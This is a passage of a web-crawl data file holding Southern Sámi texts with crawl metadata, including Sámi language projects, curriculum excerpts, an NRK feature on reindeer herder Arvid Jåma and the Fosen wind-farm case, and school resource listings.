jarkoestidh, sjïehtedidh jïh trygkedh TRAS - Aareh Registreradimmie Gïeleevtiedimmeste nöörjen gïelese julevsaemien gïelese. Aarebistie daate vuekie noerhte- jïh åarjelsaemien gïelesne gååvnese. TRAS akte vïhtesjimmiedïrrege mij daajroem vadta maanaj gïeleevtiedimmien bïjre aaltarisnie 2-5 jaepieh. Prosjektesne vuekie jarkoestamme sjædta jïh kvaliteete gorresåvva aktede referansedåehkeste. Jarnge prosjektem iktede.\nGærja jïh goere julevsaemien gïelesne edtja gaervies årrodh giesien 2015.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/lohkanguovddas.no\/sma\/prosjekth\/tras-julevsaemien","date":"2024-02-28T05:12:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474697.2\/warc\/CC-MAIN-20240228044414-20240228074414-00792.warc.gz","language":"sma","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000057220458984}","num_words":60,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem vuesiehtieh jïh evtiedieh englaantengïelesne 5., 6. jïh 7. daltesisnie gosse stååkedieh jïh goerehtieh gïelem, gosse gaalkije jïh goerkesinie luhkieh njaalmeldh jïh tjaaleldh teekstine ovmessie seabradahkine englaantengïeleldh veartenisnie.\nLohkehtæjja edtja sjïehteladtedh learohkh leah meatan jïh lïeremelastose skreejrehtidh viehkine åtnose vaeltedh jeereldihkie strategijh jïh lïeremevierhtieh juktie learohki lohkememaahtoeh jïh njaalmeldh jïh tjaaleldh tjiehpiesvoeth jeereldihkie tsiehkine evtiedidh. Learohkh edtjieh åadtjodh dååjredh oktegh jallh mubpiejgujmie ektine pryövedh lea akte bielie gïelelïeremisnie. Lohkehtæjja jïh learohkh edtjieh soptsestalledh learohki evtiedimmien bïjre englaantengïelesne. Dan maahtoen mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh jsijjieh buektiehtieh, jïh maam buerebelaakan buektiehtieh goh aarebi. Lohkehtæjja edtja bïhkedidh dan guhkiebasse lïeremen bïjre jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedassem nuhtjedh sov njaalmeldh jïh tjaaleldh tjiehpiesvoeth faagesne guhkiebasse evtiedidh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/eng01-04\/kompetansemaal-og-vurdering\/kv3?lang=sma","date":"2024-02-22T16:50:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947473824.13\/warc\/CC-MAIN-20240222161802-20240222191802-00240.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":130,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Giebnie mij lea tjeehpes tjïrreste våålese vaaltasåvva sijjeste svååjpeli bijjeli, jïh kåahph prïhtjegistie dievieh.\nSjeavohth veanhtadimmie almetji luvnie mah dållebealesne tjahkasjieh.\nAkte siegkies, båarasåbpoe ålma soelke vaadtsa åakeren bijjelen dej vööste. Gïeten sisnie påassenem steerie.\nHopsoe gejhkie kraeseste gosse Arvid Jåma don aadtjen sleejeldihkie ïentjen bijjelen vaadtsa Roanisnie Fovsesne. Dïhte almetjidie buarastahta.\nJeahtasovveme Jåma sæjhta maam akt soptsestidh daan biejjien, man bïjre ij leah dan jïjnjem soptsestamme aarebi.\nGosse Arvid jïh dan fuelhkie don vïerremes gæmhposne tjåadtjoejin juktie sijjen jieliemassevåaromem voebnesjidh, dellie jielede jorkesi jïh idtji guhte lij dam veanhtadamme.\nPåassenen sisnie mij akt man lissie stoerre aarvoe Arvidese. Dïhte påassenen sisnie kruahka jïh maam akt påassenen sistie sigkie maam maaje sæjhta gævnjahtidh.\nDïhte 74 jaepien båeries ålma lea dïhte mij lïhkemes, tjarkemes jïh guhkemes jealeme dejnie mij daelie ajve gohtjesåvva Fovsen-aamhtese.\nDemonstraanth jïh aksjovnisth\nGöökte ålma aaksjojne, såemies bïltigujmie jïh rïejhpine båetieh, jïh sisvegem påassenisnie dåastoeh.\nAajmoe lea joekoen seadtoes dej ovrehte golmeluhkie almetji luvnie mah campingstovline dållen bïjre tjahkasjieh Roanisnie daan ruffiebiejjien.\nJalhts dåehkie doh minngemes biejjieh lea gohtjesovveme aksjovnisth jïh demonstraanth.\nDah leah diekie Fovsese båateme edtjieh vuesiehtidh sijjieh njuajjasjieh faamoe annje dorjesåvva gaajhkijste turbijnijste dejnie göökte vaeriedajvine Storheia jïh Roan, mej bïjre stoerre ræjhtoe.\nMen daan giesieiehkeden Arvid Jåma tsåatskelesvoetem åådtje.\nArvid ånnetji jassajåbpoe tråajjam tsaaka. Jïh dle aalka soptsestidh.\nGosse nïejtebem dassi, idtji maehtieh jiehtedh daate lij Fovsen-aamhtesen gaavhtan. Ij leah dan naan våarome dam vihtiestidh.\nMen nïejteben jielede jïh vuerpie leah bielie aktede stuerebe guvveste.\nDïhte daarpesje soptsestidh. Baajedh jeatjebh åadtjodh govledh guktie altese biejjieh lin gosse nïejtebe Sissel jaemieli, jïh jïjtje gaskoeh riektierååresjimmine tjåadtjoeji.\nDaelie mahte luhkie jaepieh mænngan, jïh dejnie leeseldihkie tsiehkine mesnie Fovsen-aamhtese lea daelie, ij tuhtjh satne naan fåantoem utnieh daam bieliem soptsesistie oktebisnie guedtedh vielie.\nSaaht guktie ij mejtegh utnieh dassedh. Dïhte sæjloes jïh aajhpehts. Dagke ånnetji heskies.\nJïh vaallah dan naan vuestieguejmie mij desnie såajohts tjåådtje dan varke goh naakede dan isveligke goh aemielueseme neebnesåvva.\nDan dïehre Fovsen-aamhtese fer gåhkese båateme jïh jeatjah boelhkem jakseme daelie.\nRusslaantese edtja jïjtse bïjre soptsestidh\nJåma ïedtjem histovrijistie åtna.\nVoestegh Russlaanten jïh perestroikan bïjre soptseste jïh guktie satne jïh jeatjah båatsoeburrieh Trööndelagesne bööresovvin Sibirese don galme dåaran gaskoeh, gusnie edtjin soptsestidh guktie lea nöörjen aalkoeåålmeginie årrodh.\nJïh man gijhteles goltelæjjah sïjhtin, ihke naaken dellie maaje soptsestin guktie lea aaj dejtie årrodh.\nÅnnetji ånnetji altese soptsese eantan miehtjiebasse båata tïjjesne.\nJåma maadteraajjan bïjre soptseste gie aaltojde buhtji Aarehvaeresne Nordlaantesne 1800-låhkoen.\nDon baelien Jåman maadtoeh jieliemassem åadtjoejin destie maam bovtsh mielhkeste jïh bearkoste veedtin.\nMen iktesth tjoerin juhtiemisnie årrodh. Dah tjoerin krievviem dåeriedidh guktie dïhte iktesth gåatomem gaavni jïh hijvenlaakan utnin.\nDellie almetjh aaj hijven utnin.\nIj lij naan aelhkie laavenjasse iktegisth nuekie dajvh bovtside utnedh.\nMaadteraajja Anders Andersen Fovsen gåajkoe bööti jaepietjuetiemålsomen.\nDaesnie idtjin dan jeenjesh tjaakenh jïh jienebh båatsoeburrieh dejtie seamma dajvide daarpesjin.\nAnders dan åvteste doh ovrehte golmetjuetie bovtsh voejehtehti dam guhkies laajroem Tråantefjovlen bijjelen. Tråanten åarjelraedtesne Trollheimen sïjse, lij stuerebe dajvh mah eah lin åtnasovveme, eatneme, vaerieh jïh hijven gåatome.\nMen vaallah jielede fjovlen åarjelraedtesne lij dåeriesmoeri namhtah.\nAahka gie skaamasji\nSåemies båantah eah lin dan ålvoes geerjene doh juhtije saemieh gïetskesisnie utnedh. Saemieh gohtjesovvin «finn» jïh «lapp».\nFuelhkie lij iktemearan vaanterdimmesne. Dah tjoerin dajveste dajvese juhtedh.\nMuvhtene lehkesne lij joekoen leajhroes.\nArviden fuelhkie meehti unnebevyörtegs domtedh. Dahkoeh mah dej vööste dorjesovvin vuesiehtin almetjh saemide unnebevyörtegs almetjinie utnin.\nDållem nastehte, jïh jienebh dejstie mah goltelieh maam Jåma soptseste, guvvieh vaeltieh jïh filmadieh.\nDïhte mahte gåaroes plaastepåassene coopeste lea stovlen nuelesne.\nJïh dle Jåma akten veaksehks mojhtesen bïjre soptseste mestie akt maam aahkebe sutnjien soptsesti.\nDah edtjin krievvine juhtedh jeanoen bijjelen Surna Trööndelagesne.\nAarebi fuelhkie lij baajhtaldalleme Trollheimeste. Naakenh aahka gon aajjan derhviegåetiem skorkelidh mearan dah guaktah ligan gåetien sisnie.\nGosse gïjre sjïdti edtjin krievvine juhtedh daelviegåatoemistie Hemnesne Trööndelagesne. Dah tjoerin jeanoeh rastanidh krievvine.\nMearan gïehtelin krievviem bijjelen dåeriedidh, Arviden aahka vööjni tjaetsie sov bïjre rååpsehke sjïdti.\nMaelie jeanosne galki. Naakenh bovtsi vööste vuetjiejin mearan dah jeanosne veedtsin krievvine.\nArvid soptseste daate lij dan stoerre traavma aahkese guktie heannadimmiem geereli jïh dam tjihti.\nDïhte skaamasji dan åvteste lij meatan orreme dagkeres isveligke heannadimmiem sjugniedidh, jalhts ij lij båajhtode dorjeme, jïh dah eah gåessie gænnah gaavnin man jeenjesh mah numhtie darjoejin jïh gïeh dah almetjh lin.\nÅnnetji mænngan Jåman fuelhkie bååstede Fovsese bööti.\nDah sïejhme årroehalmetjinie sjïdtin. Jïh bovtsigujmie gïehtelin\nIdtji Sissel nöörh Arviden aahkam råakedh. Dïhte lij fer noere dam darjodh.\nMen Sissel båatsoem iehtsieji.\nArviden leah gellie mojhtesh nïejtebistie mij lopmeskovterinie dåeriedi bæjjese vaaran Storheiesne edtja krievviem vååksjedidh. Eevre dehtie raejeste dïhte lij onn'ohtje maanetje. Doh tjoevkes voepth dan jassijes tjohpen nuelesne.\nBåatsoe lij akte bielie aaj Sisselen jieliedistie.\nGovhte jaepieh eejehtalleminie\nFovse lea åakerh, skåajje, vaerieh jïh fjovlh.\nGosse doh njieljie tjïelth dajvesne edtjieh jïjtjemse åehpiedehtedh dah Fovsem gohtje «Nöörje mminiatyresne».\nStoerre bieline Fovseste vaenie skilkehtassh orreme, jïh naakenh sijhtieh Fovsem aevries gåhtjodh.\n1969 staate sïjhti nasjonaale vuetjemedajvem Noerhte-Fovsesne tseegkedh.\nDajve maam ussjedamme dïsse nuhtjedh lij vielie goh vïjhtetjuetie kvadraatemeetere stoerre.\nDaate Arviden voestes stoerre gæmhpoe åejvieladtji vööste sjïdti.\nGæmhpoe mij ryöhki dan guhkiem goh guhkie uktsieluhkie-låhkoen sïjse.\nEaskah bijjelen dam vuastalamme bijjelen göökteluhkie jaepieh båatsoesaemieh tjaaleldh vihtiestimmiem åadtjoejin, idtji mejtegh sjïdth dejstie soejkesjijstie. Dellie Jåma aaj åvtehkinie orreme almetjeaksjovneste vuetjemedajven vööste aktem ståantem.\nArvid gohtje doh voestes jaepieh dan mænngan goh eejehtalleme.\nDah vielie prïhtjegem kåahpi sïjse gurkieh dållebealesne. Jåma jåarhka soptsestidh.\nGovhte jaepieh båatsoesaemieh Fovsesne ajve åadtjoejin sijjen barkojne gïehtelidh jïh raeffiem utnedh.\nSissel byjjeni. Dïhte lij bielie aktede eadtjohke fuelhkeste, jïh sijjen roehtsh jïh aerpievuekieh garmerdi.\nJïh dle staate Fovsese tjuvtjiedi goh dïhte orre, stoerre, nasjonaale gïehtelimmiedajve bïegkefaamose.\nKlondike Fovsesne\nAkte såarhts Klondike-aajmoe sjïdti gusnie ahkedh orre tseegkijh 2000-låhkoen aalkoelisnie konsesjovnh vaeriej vaeriej mietie ohtsin.\nJåmese jïh altese fualhkan daate aalkovinie sjïdti akten orre, joekoen stoerre gæmhpose staaten soejkesji vööste.\nArvid lij njueniehkisnie dennie aktene dåehkesne båatsoesaemijste Fovsesne, Åarjel Fovsen sïjte.\nGosse Jollemesreaktan dåapmoe bööti Jåma-fuelhkie lij riektesne orreme bijjelen vïjhte jaepieh.\nNaakenh jiehtieh saemieh ajve sijhtieh beetnegh jïh maaksoeh utnedh.\nArvid jeahta poenge iktesth orreme pryövedh mejtie gyhtjelasse lea faamosne. Daate sæjhta jiehtedh mejtie staate våaromem utnieh maehtedh eksproprieeredh, maehtedh åtnoereaktam saemijste vaeltedh mïsse vaeride Fovsesne utnin.\nMaahta slæjhtoes årrodh akten fualhkan gæmhposne tjåadtjodh akten dan stoerre aktöören vööste dan gellie jaepieh.\nArvidese daate lea jïjnjen bïjre mïsse satne sov tïjjem nuhtjeme.\nSisselem ohtsele\nArviden lin golme maanah. Daelie ajve göökte mah jielieminie.\nGaajhkesh dovnesh dållen bïjre maehtieh vuejnedh Arvid ussjede maam akt soptsestidh.\nDïhte heartoeh bævta, jïh sæjhta soptsestidh don biejjien bïjre gosse edtji galhkuveprosedyrem digkiereaktesne utnedh.\nBearjadahken, ruffien 14.b. 2017.\nDïhte foajeesne tjåadtjoeji Thon hotellesne Søndre gaatosne Tråantesne. Dah tjoerin desnie årrodh, guktie hïnnin riektese båetedh fïerhten aereden tsåahka uktsie.\nDaan biejjien lin ånnetji sïesseldamme.\nGosse dïhte juridihkeles raeriestæjja fuehpesne bööti traahpi våålese hotellesne jïh dah edtjin ektesne dråssjan sïjse tjihkedidh, Arviden mobijle ringki.\nSissel ij lij vielie. Idtji sïjhth meatan årrodh vielie.\nDaelie eevre sjeavohth dållen bïjre Roanisnie. Arvid bæjjese alman vuajna.\nTrahpa lea gævnjan sov njuenien nuelesne.\nJeahta satne ij guarkoeh guktie satne bïerkenin dan mænngan.\nSissel lij meatan facebookdåehkesne «Fosen for Folket».\nJåma daan dåehkien reerijasse ringki jïh birri sæjroem steegkedh muvhth biejjieh.\nDon biejjien idtjin reaktasavkesne mïnnin.\nMojhtese påassenen sisnie\nPåassenisnie coopeste akte veaksehks mojhtese Arvidese Sisselen bïjre. Naakede maam Sissel lea dorjeme.\nArvid tuhtjie daate nïejtebem ånnetji buerkeste. Altese vuekie maam akt soptsestidh.\nGolken 11.b. 2021 akte ellies akteraeresne Jollemesreakta stoerrekammerisnie vihtiesti båatsoesaemiej almetjereaktah Fovsesne leah mïedtelamme, EN:n konvensjovnen mietie sivijle jïh politihkeles reaktaj bïjre.\nSissel lij meatan saemiej reaktaj åvteste gæmhpodh gellie jaepieh.\nDaelie staate tjuara orre konsesjovnh buektedh mah eah mïedtelh saemiej reaktah bovtsigujmie gïehtelidh daesnie.\nÅarjel Fovsen sïjte lea iktegisth jeahteme turbijnh tjuerieh ryjvesovvedh.\nAksjonisth vienhtieh ij leah reaktoe retnoe daelie göökte jaepieh vaaseme dåapmoen mænngan, jïh ij leah saaht maam gænnah jarkelamme vaerine Fovsesne.\nDah sijhtieh tsåatskelesvoetem utnedh akten meadtese maam vienhtieh dorjesuvvieh fïerhten biejjien.\nStaate tjïerteste dah leah prosessesne dovne tseegkijigujmie jïh saemiejgujmie dejnie ulmine loetemem gaavnedh.\nArvid dåarjoem aksjonistijste gaarhta.\nDïhte vuartesje dejtie guaktide mah sisvegem påassenen sisnie steerieh.\nDah stoerre tyjjestuhtjem sotnen gaskem rïhpeste.\nAkte bannere.\nSissel dam darjoeji 2015, jïh dïhte dam nuhtji gellien aejkien.\nIdtji dååjrh aamhtese tjoeri dam guhkies geajnoem vaedtsedh abpe reakta-abparaaten tjïrrh, bæjjese Jollemesreaktan stoerrekammerasse.\nArvidese fïerhten biejjien ruffien 14.b. 2017 mænngan lyövlehke.\nBaajh vaeride årrodh\n– Idtjimh naan goerkesem åvtelhbodti åådtjeme satne idtji sïjhth meatan årrodh vielie, guktie daamtaj lea dagkerh aamhtesinie. Ibie fåantoem daejrieh, Arvid Jåma jeahta.\nDïhte maaje sæjhta bannere edtja åadtjodh guhkiebasse dåeriedidh.\nAkte ålma boelvhjuelkien deavesne aaksjojne gællesje jïh raejkiem dorje göökte bïltide. Akte mubpie eensi tjoelmh tjualma mejgujmie edtja bannerem dibrehtidh.\nVååregevoetine dah guaktah bannerem preejrieh jïh dam lutnjieh guktie gævnjan sjædta rïekte dej göökte bïlti gaskesne.\nBAAJH VAERIDE ÅRRODH!\nDam Sissel sïjhti jiehtedh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.nrk.no\/sapmi\/xl\/gosse-arvid-jama-sov-jieleden-stooremes-gaemhposne-tjaadtjoeji_-dihte-sov-niejtem-dassi-1.16594413","date":"2024-03-02T14:35:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475825.14\/warc\/CC-MAIN-20240302120344-20240302150344-00668.warc.gz","language":"sma","language_score":0.9999940395,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999940395355225}","num_words":1417,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juakasovveme Bertije Ministeriet for Børn Undervisning og Ligestilling Skoleverket Utdanningsdirektoratet Faage Saemien 1 Saemien 2, 3 jïh 4 Daltese Maanagïerte SAÖ 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Formaate Gaskeviermiesæjroe Reakta-aajhtere Ministeriet for Børn Undervisning og Ligestilling Skoleverket Utdanningsdirektoratet Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Aarhte jïh daajroe IT\/teknologije Saemiengïele Baakoegærjah Grammatihke Viehkiebaakoe Baakoegærja","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/node\/14090","date":"2024-03-05T13:50:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707948235171.95\/warc\/CC-MAIN-20240305124045-20240305154045-00016.warc.gz","language":"sma","language_score":0.9516369104,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9516369104385376, \"sme_Latn_score\": 0.04815244302153587}","num_words":48,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faagesne nöörjen learoehkidie saemiengïeline voestesgïeline dåaresthfaageles teema monnehke evtiedimmie learohkh edtjieh daajroem evtiedidh guktie teeksth eatnemem, byjresem jïh jielede-eaktoeh åehpiedehtieh, voenges sijjesne jïh abpe veartenisnie. Laejhtehks barkoen tjïrrh teekstigujmie, soptsestalleminie jïh digkiedimmine faage viehkehte guktie learohkh ussjededtieh guktie maahta saemien kultuvrem nænnoestidh jïh tjåadtjoehtidh. Gosse faagen ovmessie teekstigujmie åahpenieh, laejhtehkslaakan luhkieh jïh meatan årroeh dialogesne, learohkh maehtieh goerkesem evtiedidh vihkeles aehpiej jïh evtiedimmievæhtaj bïjre seabradahkesne.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/nor03-04\/om-faget\/tverrfaglige-temaer?lang=sma","date":"2024-02-25T21:23:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474643.29\/warc\/CC-MAIN-20240225203035-20240225233035-00184.warc.gz","language":"sma","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000088214874268}","num_words":65,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nasjovnaale pryövh lohkemisnie saemien\nSaemien jïlleskuvle lea laavenjassine åådtjeme Nasjovnaale pryövh evtiedidh lohkemisnie saemien 2011-2015 aktine jïjtse budsjedtine jïh jïjtsh reektemevuekiejgujmie. Daate barkoe lea sertiestamme Saemien lohkemejarngese aktine beetnehdåarjojne Udireste.\nNasjovnaale pryövh lohkemisnie saemien learohkh Nöörjesne tjïrrehtieh mej saemien voestesgïeline 5., 8. jïh 9. daltesisnie, dæjman pryövh tjïrrehtamme sjïdtin gaajhkine golme saemien gïeline dan ellen voestes aejkien. Åejviebarkoe lea pryövide jïh bïhkedimmide darjodh dejnie golme gïeline, jïh illedahkide analyjseradidh jïh jeatjah barkoem darjodh mij lissine båata. Doh illedahkh analyjseste åtnasuvvieh kuvsjine lohkemen bïjre mij lea sjïehtedamme skuvlide jïh illedahkide dejnie joekehts skuvline.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/lohkanguovddas.no\/sma\/prosjekth\/nasjovnaale-pryovh-lohkemisnie-saemien","date":"2024-02-28T06:59:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474697.2\/warc\/CC-MAIN-20240228044414-20240228074414-00076.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":88,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.205,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gusnie Noran gierehtse? Daesnie maahtah lohkedh jïh goltelidh guvviegærjam Gusnie Noran gierehtse? gelline gieline! Diedtieh gïelese maam sïjhth lohkedh. Soemen Kalè gïele Julevsaemien Meänkieli - Gällivarevarietete Meänkieli - Lannankieli Meänkieli - Tornedalsvarietete Noerhtesaemien Bidumsaemien Daaroen Åarjelsaemien Upmejesaemien Arabijen gïele Englaanten gïele Irlaanten gïele Persian gïele Somalijen gïele Spanijn gïele Turkijen gïele Tysklaanten gïele Gusnie Noran tjïelhke? lea digitaale guvviegærja maam Elmira jïh Ramona Zadissa. Vielie dej bïjre daesnie gaavnh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.polarbibblo.se\/sma-se\/lohkedh-jih-goltelidh\/gusnie-noran-gierehtse\/","date":"2024-04-18T01:57:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817184.35\/warc\/CC-MAIN-20240417235906-20240418025906-00228.warc.gz","language":"sma","language_score":0.9991986156,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9991986155509949}","num_words":66,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2019\nFormaate\nApp\nReakta-aajhtere\nSametinget\nReaktah\nGaajhkh reaktah leah doelehtovveme\nStoeredahke\n27.4 MB\nÅahpenh baahkoejgujmie saemiengïelesne!\nSaemiedigkie applikasjovnem 10\/20 bágo dorjeme mij gaajhkide laanten maanagïertide jïh maadthskuvlide sjeahta. Ulmie lea gaajhkh maanah laanten maadthskuvline jïh maanagïertine edtjieh såemies baakoeh saemiengïelesne lïeredh. Applikasjovne lea åarjelsaemien, julevsaemien jïh noerhtesaemien gïelesne, jïh desnie dovne guvvieh jïh tjoejefijlh. Saemiengïeleldh maanah mah sijhtieh jeatjah saemien gïelh lïeredh, maehtieh aaj appem nuhtjedh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_1020-bago","date":"2024-04-15T15:12:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817002.2\/warc\/CC-MAIN-20240415142720-20240415172720-00444.warc.gz","language":"sma","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000075101852417}","num_words":65,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Snåase jih Raarvihken tjïelth lægan guektien gïelen tjïelth åarjelsaemien reereme dajvesne. Daelie dihte gyjhtjelasse, guktie bist sjædta daan orre tjïelte jorkesen mængan gåessie stoerre tjielth sjidtieh. Mejtie dihte guektien gïele tjïelte ,daan stoerre tjïeltesne gaarvene. Daan bijre Snåasesne minngemes laavvardahken raarastallin.\nSnåasen tjïelten åejvie Vigdis Hjulstad Belbo daan bijre tjoeperde.\n– Daan bijre tjoeperdem. Dellie dihte gihtjelomme guktie dihte tjïelten ståvroe jih tjïelten reereme sjædta. Eah maehtieh saaht man gellieh saadth-almetjh ståvroese veeljedh, Belboe jeahta.\nSaemien institusjovnh edtjieh jieledh.\nSnåasen tjïeltesne vihkeles gïelem jih kultuvrem nænnoestidh.\n– Saemieh, onne almetje dåehkie mijjen dajvesne jih dellie øøvre vihkeles gïelem jih kultuvrem vaarjelidh. Dihte aaj daerpies jis dah saemien institusjovnh edtjieh jieledh, Belboe jeahta.\n- Lohkh aaj:http:\/\/www.nrk.no\/sapmi\/samegillii\/dihte-guektiengielen-reereme-tjielte-maahta-stoerre-tjieltesne-gaatoelidh-1.12240796\nMoenedimmie.\nFylhkeålman tjïelte direktøøre Hans Brattås ij maam ennje doesth jiehtedh.\n– Daate hijven gyjhtjelasse, tjoerebe daam ensi-laakan gïehtjedidh, Brattåse jeahta.\nSnåasen tjïelte sæjhta dah åarjel baalte tjieltiej gujmie aktanidh. Stientje, Verran jih Inderøyen tjïelth.\nSaemien reereme dajvem stueriedidh.\nOddvar Andersen Stientjesne årroeminie jih dihte jahkoem åtna daate hijven sjædta.\n– Manne ussjedam naemhtie! Dah saemieh mij Snåasesne jih Raarvijkesne årroeminie dah aajmene sijjien saemien reaktojde utnieh. Jih dellie manne vuajnam dah baalte tjïelth aaj seamma saemien reaktoe daarpehtieh. Jijnjh saemieh dah baalte tjieltijne årroeminie jih daate dorje, dihte saemien reereme dajve stuerebe sjædta, Andersene jeahta.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.nrk.no\/sapmi\/tjielten-jorkese-aarjelsaemide-eadtjalgehtieh-1.12251492","date":"2024-04-20T09:53:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817576.41\/warc\/CC-MAIN-20240420091126-20240420121126-00044.warc.gz","language":"sma","language_score":0.9998967648,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.999896764755249}","num_words":206,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Pedagogihke jïh didaktihke\nGuktie skuvle maahta åvtelhaarvoeh jïh tjïertevidtjiem hööptedh? Guktie daej teemaj bïjre ööhpehtidh? Jïh guktie ekstreeme vuajnoeh dïeves åvtelhaarvojste klaassetjiehtjelisnie gïetedidh?\nDembran maadthåssjaldahke lea hööptedh viehkine bigkedh. Åvtelhaarvoeh almetji voestegas daerpiesvoeth illieh mah leah vïedteldihkie ektiedæmman, goerkesasse jïh jïjtse jieledem baajnehtidh. Hööpteme lea daah daerpiesvoeth dievhtedh positijve alternatijvigujmie åvtelhaarvojde, amma hijven ektievoeth bigkedh jïh maanide jïh noeride dïrregh vedtedh veartenem guarkedh jïh råållam seabradahkesne utnedh.\nDaennie barkosne gaajhkh faagh maehtieh viehkine årrodh. Daesnie maahtah faagedidaktihkeles ussjedadtemh jïh tipsh gaavnedh ovmessie faagijste, dej gaskem vitnedimmie, matematihke jïh englaanten gïele.\nGellie ovmessie vuekieh akten feerhmeles pedagogihkese gååvnesieh, goh daajroe gellievoeten, dijalogen jïh perspektijvevaeltemen bïjre. Maahta feerhmeles pedagogihkem laejhtedh faatoes goerkesen gaavhtan seabradahkestruktuvri åvteste, mah ålkoestimmiem sjugniedieh. Joekehts såarhts haestije pedagogihke raaktan pryövoe struktuvrh jïh faamoetsiehkieh jarkelidh. Daate maahta laejhtehks ussjedimmie, nåårmelaejhteme jïh dekolonijaale pedagogihke årrodh.\nDaan teeman nuelesne gaajhkem gaavnh, tjïelke tipsi raejeste pedagogeles jïh didaktihkeles teorijen raajan. Lissine darjomh jïh ööhpehtimmiesoejkesjh gaavnh mah leavloem biejieh pedagogeles jïh didaktihkeles perspektijvide.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.dembra.no\/sma\/tema\/pedagogikk-og-didaktikk","date":"2024-04-22T00:46:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00356.warc.gz","language":"sma","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000061988830566}","num_words":160,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Elle-Máijá Tailfeather ovmessie teknihkh dokumentaare-filmesne nuhtjie. 